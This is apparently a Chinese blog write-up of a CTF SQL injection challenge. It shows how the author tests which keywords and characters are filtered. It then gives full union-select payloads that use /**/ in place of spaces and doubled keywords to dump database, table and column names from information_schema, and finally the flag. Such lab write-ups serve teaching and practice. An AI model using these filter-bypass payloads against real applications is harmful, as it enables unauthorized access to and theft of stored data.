1,union过滤注入(简单的sql注入)

 

 

题目连接   http://ctf5.shiyanbar.com/423/web/

参考链接:https://www.cnblogs.com/tlbjiayou/p/10828601.html

直接输入 1加个但引号,结果下面有返回错误  估计这里应该是要闭合

 

输入  1' and 1=1#  按理说应该是返回正常,结果返回了一个错误 #号注释后面的),说明 ‘#‘  被过滤了

 

输入   1’ and '1'='1  出错  双写一下  1' andand '1'='1  有内容 出现一个and  and 给过滤了  and后面空格没有了  空格可能也给过滤了

输入 1’ or '1'='1  有东西出来了  or没有被过滤  

 

接下来写MySQL语句 查询数据库  但空格给过滤 了   想到用/**/绕过过滤  union ,(union 合并的是"结果集",不区分在自于哪一张表)

输入

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

能查到东西  接下来爆表  看看有什么表内容

https://www.cnblogs.com/lyftest/p/8034470.html#intru  information_schema介绍

schemas 的 概念可理解为 "多个表(数据库对象)的集合,某用户拥有操作权限"

所以 schemas mysql 中 理解为 database(逻辑库);)

information_schema一个虚拟数据库,物理上并不存在只能查数据,不能操作

 schemata提供了当前mysql实例中所有数据库的信息应该相当于 show databases

schema_name数据库名)(default_character_set_name数据库编码

下面是等效的

 select schema_name as `database`
  from information_schema.schemata
  [where schema_name like 'db_ca_ods']

  show databases
  [like 'db_ca_ods']

 

/**/为注释 这样就多了一个空格

爆表输入1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

 

接下来爆字段名

1'/**/union/**/select/**/column_name/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

 

1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag

 

flag   1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

 

posted @ 2019-11-09 15:46  来自地狱的天使  阅读(201)  评论(0)    收藏  举报